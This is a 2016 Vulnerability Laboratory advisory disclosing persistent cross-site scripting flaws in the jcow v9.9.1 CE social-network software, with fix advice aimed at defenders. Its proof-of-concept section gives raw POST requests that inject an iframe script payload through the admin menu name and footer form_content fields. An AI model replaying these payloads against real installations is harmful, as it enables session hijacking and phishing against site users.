Document Title: =============== jcow v9.9.1 CE - Multiple Persistent Cross Site Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1770 Release Date: ============= 2016-02-29 Vulnerability Laboratory ID (VL-ID): ==================================== 1770 Common Vulnerability Scoring System: ==================================== 3 Product & Service Introduction: =============================== Jcow is a flexible Social Networking software written in PHP. It can help you to ... Build a social network for your interests and passions. Build a member community for your existing website. Build a social networking site like facebook/myspace/twitter. (Copy of the Homepage: https://www.softaculous.com/apps/socialnetworking/Jcow ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple application-side cross site scripting vulnerability in the jcow v9.9.1 CE web-application. Vulnerability Disclosure Timeline: ================================== 2016-03-01: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Low Technical Details & Description: ================================ A persistent cross site scripting vulnerability has been discovered in the official jcow v9.9.1 CE Social Network web-application product. The security vulnerability allows remote attackers to inject own script code on the application-side of the affected application modules. The vulnerabilities are Located in [Footer and header input fields]. Remote attackers are able to inject own malicious script code via POST method request on the application-side. The injection point are the [form_content] & [name_numeric id] parameters. The request method to inject is POST and the vulnerability is located on the application-side of the vulnerable online-service. The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. Exploitation of the persistent input validation web vulnerability requires a privileged web-application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Footer [+] Header Vulnerable Parameter(s): [+] form_content [+] name_numeric id Proof of Concept (PoC): ======================= The vulnerbailities can be exploited by remote attackers with privileged web-application user account and with low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the web-application 2. Login to the web-application 3. Go to the following url ... Note: http://localhost/jcow/index.php?p=member/login 4. After login injection is possible in the following locations with script code payloads [+] http://localhost:8080/jcow/index.php?p=admin/menu [Vulnerable parameters : people , images , blogs ] [+] http://localhost:8080/jcow/index.php?p=admin/footer_pages/ [+] http://localhost:8080/jcow/index.php?p=admin/footer_pages/add 5. Save the entry and the code executes in the affected panel index module 6. Successful reproduce of the web vulnerability! --- PoC Session Logs POST] --- (Modify header menu POC) POST /jcow/index.php?p=admin/menu/post HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 507 active_14=1&weight_14=0&name_14=News+feed&app_14=feed&active_13=1&weight_13=5&name_13= people%27%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvulnerability-lab.com%3E&app_13=browse&active_18=1&weight_18=20&name_18=My +account&app_18=account&active_23=1&weight_23=20&name_23=Invite&app_23=invite&active_111=1&weight_111=41&name_111= Images&app_111=images&active_205=1&weight_205=46&name_205=Blogs&app_205=blogs&active_208=1&weight_208=49&name_208= Audios&app_208=music&active_211=1&weight_211=52&name_211=Videos&app_211=videos --- PoC Session Logs POST] --- (Modify footer fields POC) POST /jcow/index.php?p=admin/footer_pages/modifypost HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 136 link_name=Footer&name=nameofit&form_content=[PERSISTENT CODE]&id=4 --- PoC Session Logs POST] --- (Add Footer new page POC) POST /jcow/index.php?p=admin/footer_pages/add HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 156 link_name=testpage&name=test&form_content=%27%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvulnerability-lab.com%3E Solution - Fix & Patch: ======================= the vulnerability can be patched by a secure parse and encode of vulnerable parameters [form_content , name_numericid ] input fields .Restrict the input and disallow usage of special chars. Filter and setup a secure exception handling that prevents the persistent execution in the output location. Security Risk: ============== The security risk of application-side cross site scripting web vulnerability in web application is estimated as medium. (CVSS 3.6) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Lawrence Amer - http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™